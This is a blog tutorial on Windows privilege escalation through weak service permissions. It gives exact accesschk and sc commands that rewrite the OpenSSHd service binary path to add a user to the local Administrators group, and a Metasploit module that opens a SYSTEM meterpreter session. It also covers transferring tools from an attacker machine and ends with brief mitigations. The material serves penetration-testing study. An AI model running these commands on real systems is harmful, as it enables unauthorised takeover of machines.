Windows PrivEsc(3) — Weak Service Permissions

Clement 'Tino
4 min readAug 25, 2022

--

This is third blog post about Windows PrivEsc series, you can read the first of it which is about Unquoted Service Paths and the second which is about Hijacking DLLs.

Weak Service Permissions

Weak Service Permissions

The objective is to identify services that run SYSTEM or Administrative permissions and to use the improper permission configurations to launch arbitrary commands through the BINARY_PATH_NAME parameter.

We can add a standard user account to the Local Administrator group and in the end achieve an elevated system.

To do this, we need to list the services that the standard user has access to. To do this, we will need the accesschk utility that is part of the sysinternals. You can download the accesschk tool from here: https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk

Extract and Transfer it to the target via a python server or metasploit upload. (I’m gonna go with python server)

hosting tool on attacker machine

Using my favorite Windows inbuilt tool certutil.exe to download the binary being served on the attacker machine.

Downloading the hosted tool unto the target machine

After downloading the accesschk64.exe to the Windows target, we can check the services the standard user has access to by running

.\accesschk64.exe -uwcqv “vagrant” * -accepteula

where “vagrant” is the standard account username.

This command will output services with SERVICE_ALL_ACCESS permissions.

The SERVICE_ALL_ACCESS permissions allow all users on the system to take control of and modify the parameters of such service.

Scrolling through the numerous services, I came across one particular service. OpenSSH, which runs with SYSTEM privileges

The next step is enumerating this service and finding additional information regarding the service and its respective parameters. Use cmd:

sc qc OpenSSHd
service info

We can modify the BINARY_PATH_NAME to execute arbitrary commands. Use cmd:

sc config “OpenSSHd” binPath= “net localgroup administrators vagrant /add”

vagrant is the username. You should get a SUCCESS if everything is executed accordingly.

adding new user through Binary path

Checking additional info of the service again

(You’ll see the command we typed above has replaced the BINARY_PATH_NAME)

Now restart the service

First stop it

sc stop OpenSSHd

And start it

sc start OpenSSHd

Now check the members of the local Admin group

confirming new Admin

Clean up by setting the OpenSSHd binary path back to the default

sc config “OpenSSHd” binPath= “C:\Program Files\OpenSSH\bin\cygrunsrv.exe”
clean up

Accomplishing same Task but with Metasploit

use exploit/windows/local/service_permissions

set right options and run

This module will try to identify services that the user has write access on the binary path and if this succeeds, will write a payload in a temporary folder, reconfigure the binary path of the service to point into the payload and not in the original executable and finally will attempt to restart the service in order for the payload to be executed as SYSTEM.

Check the newly created meterpreter session

This will result in a new session as NT AUTHORITY\SYSTEM when this succeeds.

Mitigation

  • Users should not have permissions to start or stop a service
  • The folder of which the service binary is located should be accessible only to Administrators

You can send me a DM on Twitter @tinopreter or on LinkedIn @ClementOseiSomuah

--

--

Clement 'Tino

You can't know it all in one day, compare who you are today to who you were yesterday. Do cybersecurity with love and not out of obligation. One topic a time.